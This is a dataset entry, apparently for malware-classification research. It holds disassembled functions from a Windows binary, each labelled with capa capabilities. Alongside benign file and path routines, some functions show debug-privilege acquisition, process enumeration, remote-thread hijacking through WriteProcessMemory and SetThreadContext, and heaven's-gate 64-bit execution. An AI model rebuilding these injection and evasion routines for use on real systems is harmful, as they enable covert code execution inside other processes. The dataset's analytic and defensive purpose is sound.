joyce8/EMBER2024-capa huggingface dataset:
Function at 0x434cc0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
mov esi, ebx
mov eax, ecx
imul esi, dword [ebp + 8]
mov dword [ebp - 8], eax
cmp byte [edi], 0
je 0x434d06
push 0
lea ecx, [ebp - 8]
push ecx
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x434d01
mov byte [edi + 8], 1
mov eax, dword [ebp - 8]
jmp 0x434d2e
mov edx, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
lea eax, [edx + esi]
cmp eax, ecx
jbe 0x434d17
mov esi, ecx
sub esi, edx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push dword [ebp - 8]
call fcn.00441040
add esp, 0xc
mov eax, esi
add dword [edi + 0x1c], esi
mov ecx, dword [ebp - 4]
xor edx, edx
pop edi
div ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret

Function at 0x434d50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov dword [ebp - 0xc], ebx
mov edi, 1
cmp byte [esi], 0
je 0x434d95
push 0
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 5]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x434d90
mov byte [esi + 8], 1
mov edi, dword [ebp - 0xc]
jmp 0x434dc2
mov ebx, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x434da6
mov edi, ecx
sub edi, ebx
mov eax, dword [esi + 0x14]
add eax, ebx
push edi
push eax
lea eax, [ebp - 5]
push eax
call fcn.00441040
lea eax, [ebx + edi]
add esp, 0xc
mov ebx, dword [ebp - 0xc]
mov dword [esi + 0x1c], eax
cmp edi, 1
jne 0x434de0
movzx eax, byte [ebp - 5]
mov dword [ebx], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x434dcd
cmp byte [esi + 8], 0
je 0x434dcd
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret
Function at 0x434ea0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [edi], 0
je 0x434ee9
cmp byte [edi + 1], 0
je 0x434ed7
push 2
push 0
push 0
push dword [edi + 4]
call ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x434eef
or eax, 0xffffffff
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x18]
mov dword [edi + 0x1c], eax
cmp byte [edi], 0
push ebx
je 0x434f14
cmp byte [edi + 1], 0
je 0x434f0d
push 1
push 0
push 0
push dword [edi + 4]
call ecx
mov ebx, eax
sub ebx, dword [edi + 0xc]
jmp 0x434f17
xor ebx, ebx
mov dword [ebp - 0x14], ebx
jmp 0x434f26
mov ebx, dword [edi + 0x1c]
mov eax, 0xffff
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
cmp ebx, eax
jae 0x434f29
mov dword [ebp - 0x10], ebx
push esi
push 0x404
call fcn.0043fcf8
mov esi, eax
add esp, 4
test esi, esi
jne 0x434f51
pop esi
pop ebx
or eax, 0xffffffff
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov eax, 4
mov dword [ebp - 0xc], 0xffffffff
cmp ecx, eax
jbe 0x435058
jmp 0x434f70
add eax, 0x400
cmp eax, ecx
mov edx, eax
mov eax, 0x404
cmova edx, ecx
mov ecx, ebx
sub ecx, edx
mov dword [ebp - 0x20], edx
sub ebx, ecx
mov dword [ebp - 0x1c], ecx
cmp ebx, 0x404
cmova ebx, eax
cmp byte [edi], 0
je 0x434fba
cmp byte [edi + 1], 0
je 0x435058
mov eax, dword [edi + 0xc]
push 0
push 0
add eax, ecx
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x434fbd
mov dword [edi + 0x1c], ecx
cmp byte [edi], 0
mov ecx, ebx
mov dword [ebp - 0x18], ebx
je 0x434fe5
push 0
lea eax, [ebp - 8]
push eax
push ebx
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x434fe0
mov byte [edi + 8], 1
mov eax, dword [ebp - 8]
jmp 0x43500e
mov edx, dword [edi + 0x1c]
lea eax, [edx + ebx]
cmp eax, dword [edi + 0x18]
jbe 0x434ff8
mov ecx, dword [edi + 0x18]
sub ecx, edx
mov dword [ebp - 0x18], ecx
push ecx
mov ecx, dword [edi + 0x14]
add ecx, edx
push ecx
push esi
call fcn.00441040
mov eax, dword [ebp - 0x18]
add esp, 0xc
add dword [edi + 0x1c], eax
xor edx, edx
div ebx
cmp eax, 1
jne 0x435058
lea eax, [ebx - 3]
test eax, eax
js 0x435040
mov edi, edi
dec eax
cmp byte [eax + esi], 0x50
jne 0x43503c
cmp byte [eax + esi + 1], 0x4b
jne 0x43503c
cmp byte [eax + esi + 2], 5
jne 0x43503c
cmp byte [eax + esi + 3], 6
je 0x435075
test eax, eax
jns 0x435020
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x435058
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x14]
cmp eax, ecx
jb 0x434f70
push esi
call fcn.0043e084
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, dword [ebp - 0xc]
xor ecx, ebp
pop esi
pop ebx
pop edi
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
jmp 0x435043
Function at 0x435ea0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
cmp dword [esi], 0
jne 0x435f54
cmp dword [esi + 4], 0xffffffff
jne 0x435f54
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x435ed2
sub ecx, edx
sar ecx, 1
movzx eax, word [esi + ecx*2 + 0x242]
cmp eax, 0x5c
je 0x435f09
cmp eax, 0x2f
je 0x435f09
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x435ef6
mov eax, dword [0x469f3c]
mov dword [edi], eax
push 0x20
call fcn.0043e531
mov ecx, dword [ebp + 8]
add esp, 4
mov dword [eax + 0x14], ecx
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x18], ecx
mov ecx, eax
mov word [eax], 0x100
mov byte [eax + 0x10], 0
mov dword [eax + 0x1c], 0
mov dword [eax + 0xc], 0
call fcn.00435080
xor ecx, ecx
mov dword [esi], eax
test eax, eax
mov edx, 0x200
cmove ecx, edx
mov eax, ecx
pop edi
pop esi
pop ecx
pop ebp
ret 0xc
pop edi
mov eax, 0x1000000
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x4369f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x436a35
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x436a45
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x18]
test eax, eax
jne 0x436a2f
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret
Function at 0x436d70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov dword [ebp - 0xc], eax
xor edi, edi
call fcn.004369f0
push dword [ebp - 0xc]
push edi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x436dc0
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret 0x10
call fcn.00436960
test eax, eax
je 0x436e06
push 0x469f94
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x436e06
lea ecx, [ebp - 8]
mov dword [ebp - 8], ebx
push ecx
push dword [ebp - 0x10]
call eax
test eax, eax
je 0x436e06
xor eax, eax
mov ecx, 1
cmp dword [ebp - 8], eax
sete al
test eax, eax
cmovne edi, ecx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x436e51
mov eax, dword [esi + 0x3c]
mov ecx, 0x5a4d
add eax, esi
cmp word [esi], cx
jne 0x436e51
cmp dword [eax], 0x4550
jne 0x436e51
movzx eax, word [eax + 4]
mov ecx, 0x200
cmp ax, cx
je 0x436e4c
mov ecx, 0x8664
cmp ax, cx
jne 0x436e51
mov ebx, 1
xor edi, ebx
jne 0x436dab
mov eax, dword [ebp + 0xc]
test ebx, ebx
jne 0x436e7e
push ecx
push dword [ebp - 0xc]
push eax
push esi
call fcn.00436eb0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret 0x10
push eax
push esi
push ecx
push dword [ebp - 0xc]
call fcn.004372d0
mov ecx, dword [ebp - 4]
test eax, eax
pop edi
setne al
xor ecx, ebp
pop esi
pop ebx
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret 0x10
Function at 0x436f30
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xafc
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, 0x202
push ebx
push esi
push edi
movdqu xmm0, xmmword [0x474d94]
mov esi, 0x473740
mov ebx, dword [ebp + 0xc]
lea edi, [ebp - 0x828]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xafc], eax
mov eax, dword [0x474da4]
mov dword [ebp - 0xc], eax
mov al, byte [0x474da8]
push 4
mov byte [ebp - 8], al
mov eax, dword [ebp + 0x14]
push 0x3000
add eax, 0x81e
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x82c]
push eax
push 0
push edi
movdqu xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x4370ab
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x4370ab
lea eax, [ebp - 0xaf8]
mov dword [ebp - 0xaf8], 0x10007
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4370a4
lea eax, [esi + 0x81e]
mov dword [ebp - 0x19], eax
lea eax, [esi + 0x15]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xa40]
sub eax, esi
push 0
sub eax, 0x15
push 0x15
mov dword [ebp - 0xb], eax
lea eax, [ebp - 0x1c]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4370a4
push 0
push 0x809
lea eax, [ebp - 0x828]
push eax
lea eax, [esi + 0x15]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4370a4
push 0
push dword [ebp + 0x14]
lea eax, [esi + 0x81e]
push dword [ebp - 0xafc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4370a4
lea eax, [ebp - 0x82c]
push eax
mov eax, dword [ebp + 0x14]
push 0x20
add eax, 0x81e
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x4370a4
lea eax, [ebp - 0xaf8]
mov dword [ebp - 0xa40], esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4370c0
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x14e8
call fcn.0044c170
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0xf
mov eax, dword [ebx + 8]
mov esi, 0x473f4c
mov dword [ebp - 0x14d4], eax
lea edi, [ebp - 0x44]
mov eax, dword [ebx + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x381
mov dword [ebp - 0x14d8], eax
mov eax, dword [ebx + 0x10]
push 0x476be4
movsw word es:[edi], word [esi]
mov dword [ebp - 0x14dc], eax
movsb byte es:[edi], byte [esi]
mov esi, 0x473f90
lea edi, [ebp - 0xe50]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebx + 0x14]
add esi, 0xe43
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [0x476ae0], 0
jne 0x43715a
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x476ae0], eax
push 4
push 0x3000
push esi
push 0
push dword [ebp - 0x14d4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x437188
push str.VirtuallAlloc_Failed____n
call fcn.0043f3d8
add esp, 4
jmp 0x43720b
mov esi, dword [ebp - 0x14d8]
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x43720b
lea edx, [ebp - 0x14d0]
mov dword [ebp - 0x14a0], 0x10007
mov ecx, esi
call fcn.00438d80
test eax, eax
je 0x437204
lea eax, [edi + 0xe43]
cdq
mov dword [ebp - 0x34], eax
lea eax, [edi + 0x3f]
mov dword [ebp - 0x30], edx
cdq
mov dword [ebp - 0x2a], eax
mov eax, dword [ebp - 0x13d8]
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x13d4]
push 0x3f
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x44]
push eax
push edi
push dword [ebp - 0x14d4]
mov dword [ebp - 0x26], edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x437222
push str.WriteMemory_0_Failed____n
call fcn.0043f3d8
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0043d8bb
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
push 0
push 0xe04
lea eax, [ebp - 0xe50]
push eax
lea eax, [edi + 0x3f]
push eax
push dword [ebp - 0x14d4]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x43724b
push str.WriteMemory_1_Failed____n
jmp 0x4371fc
push 0
push dword [ebx + 0x14]
lea eax, [edi + 0xe43]
push dword [ebp - 0x14dc]
push eax
push dword [ebp - 0x14d4]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x437274
push str.WriteMemory_2_Failed____n
jmp 0x4371fc
lea eax, [ebp - 0xe54]
push eax
mov eax, dword [ebx + 0x14]
push 0x20
add eax, 0xe43
push eax
push edi
push dword [ebp - 0x14d4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x4372a1
push str.VirtualProtectEx_Failed____n
jmp 0x4371fc
mov eax, edi
mov ecx, esi
cdq
mov dword [ebp - 0x13d4], edx
lea edx, [ebp - 0x14d0]
mov dword [ebp - 0x13d8], eax
call fcn.00438e30
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x43720d
Function at 0x4381a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x218]
push ebx
push esi
push edi
mov dword [ebp - 0x44c], eax
xor eax, eax
cmp dword [ebp + 0x20], 0x10
push 0x104
push ecx
mov word [ebp - 0x10], ax
lea eax, [ebp + 0xc]
cmovae eax, dword [ebp + 0xc]
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x43825a
lea eax, [ebp - 0x448]
mov dword [ebp - 0x448], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x438253
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x218]
push eax
call ebx
test eax, eax
je 0x438245
lea eax, [ebp - 0x448]
push eax
push esi
call edi
test eax, eax
jne 0x438221
jmp 0x438253
mov ecx, dword [ebp - 0x44c]
mov eax, dword [ebp - 0x440]
mov dword [ecx], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x20], 0x10
jb 0x43826b
push dword [ebp + 0xc]
call fcn.0043e223
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x438280
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x476be4], 0
push edi
jne 0x438299
xor eax, eax
xor edx, edx
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
test ecx, ecx
jle 0x4382b8
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0xc], eax
jmp 0x4382c0
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
test ecx, ecx
jle 0x4382d9
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x4382e1
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
test ecx, ecx
jle 0x4382fa
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x438302
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
test ecx, ecx
jle 0x43831b
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x438323
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov eax, edx
mov dword [ebp - 4], 0
cdq
xorps xmm0, xmm0
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call fcn.00438351
Function at 0x4383d0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
push esi
push edi
test ecx, ecx
je 0x438441
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x4383f0
test eax, eax
je 0x438441
test edx, edx
je 0x438441
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call fcn.00438401
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x438450
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
xor eax, eax
mov dword [ebp - 0xc], 0x17
mov dword [ebp - 8], str.LdrGetProcedureAddress
push esi
push edi
cmp eax, str.LdrGetProcedureAddress
je 0x4384e1
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x43847d
test eax, eax
je 0x4384e1
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
push 0x33
call fcn.0043848e
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4384f0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d4
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x476be4], 0
push ebx
push esi
push edi
je 0x43882e
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
push 0x33
call fcn.00438522
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret
Function at 0x438f50
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push edi
push 0
push 0
mov edi, ecx
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x438fcc
push 0
push 2
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x438fcc
push esi
lea esi, [edi + 8]
push esi
push 0x465a8c
push 1
push 0
push 0x465b5c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x438fcb
push str.._rootcimv2
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edx, dword [esi]
lea ecx, [edi + 0xc]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [edi], eax
mov esi, dword [edx]
push eax
push edx
call dword [esi + 0xc]
test eax, eax
js 0x438fcb
mov dword [edi + 4], 1
pop esi
pop edi
ret
Function at 0x453744
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4714d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0044394b
mov dword [ebp - 0x14], eax
cmp dword [0x476890], esi
jne 0x453837
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4537c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x453917
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x453917
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x453917
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x476890], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x476894], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x476898], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4768a0], eax
test eax, eax
je 0x453834
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47689c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x45385c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x45384f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x453871
push 4
pop eax
jmp 0x453919
cmp dword [ebp - 0x14], esi
je 0x453871
push dword [0x476890]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x453856
mov eax, dword [0x47689c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4538cf
cmp dword [0x4768a0], edi
je 0x4538cf
push eax
call ebx
push dword [0x4768a0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4538cf
test eax, eax
je 0x4538cf
call ecx
test eax, eax
je 0x4538c4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4538c4
test byte [ebp - 8], 1
jne 0x4538cf
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4538ff
mov eax, dword [0x476894]
cmp eax, edi
je 0x4538fc
push eax
call ebx
test eax, eax
je 0x4538fc
call eax
mov esi, eax
test esi, esi
je 0x4538fc
mov eax, dword [0x476898]
cmp eax, edi
je 0x4538fc
push eax
call ebx
test eax, eax
je 0x4538fc
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x476890]
call ebx
test eax, eax
je 0x453917
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x453919
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043d8bb
mov esp, ebp
pop ebp
ret